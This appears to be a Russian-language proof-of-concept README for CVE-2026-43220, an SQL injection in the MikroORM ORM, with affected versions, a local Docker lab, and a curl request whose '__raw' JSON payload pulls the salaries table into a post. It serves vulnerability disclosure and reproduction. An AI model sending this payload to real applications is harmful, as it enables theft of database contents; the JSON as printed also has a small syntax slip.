
Уязвимость SQL-инъекции в MikroORM
★ CVE-2026-43220 MikroORM SQL Injection PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 — это уязвимость SQL-инъекции в MikroORM, широко используемом ORM-фреймворке для TypeScript/Node.js.
Когда предоставленное пользователем значение, содержащее свойство__raw, передаётся в колонку пользовательского типа без валидации, проверкаisRaw()в MikroORM распознаёт его как доверенное внутреннее Raw SQL-выражение и вставляет контролируемое атакующим значениеsqlнапрямую в сгенерированный запрос без преобразования типов или санитизации, что приводит к непреднамеренному выполнению произвольного SQL.
| Категория | Версия |
|---|
| Уязвимые | MikroORM версия ≤ 6.4.3 и 7.0.0 ≤ версия ≤ 7.0.5 |
| Исправленные | MikroORM 6.4.4 и 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
После запуска уязвимого окружения выполните шаги ниже, чтобы воспроизвести атаку.
__rawОтправьте JSON-тело, включающее свойство __raw, нацеленное на колонку пользовательского типа.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Убедитесь, что API возвращает успешный ответ без каких-либо ошибок, что указывает на то, что MikroORM принял вредоносную полезную нагрузку как допустимое значение.
Убедитесь, что поле content созданного поста содержит результат запроса
из таблицы salaries (например, Alice: 5000 / Bob: 7000 / ...),
что подтверждает, что данные из несвязанной таблицы были незаметно внедрены
в ответ без каких-либо ошибок или нарушения контроля доступа.
isRaw() для отклонения внешне предоставленных свойств __raw__raw, перед передачей значений в слой ORM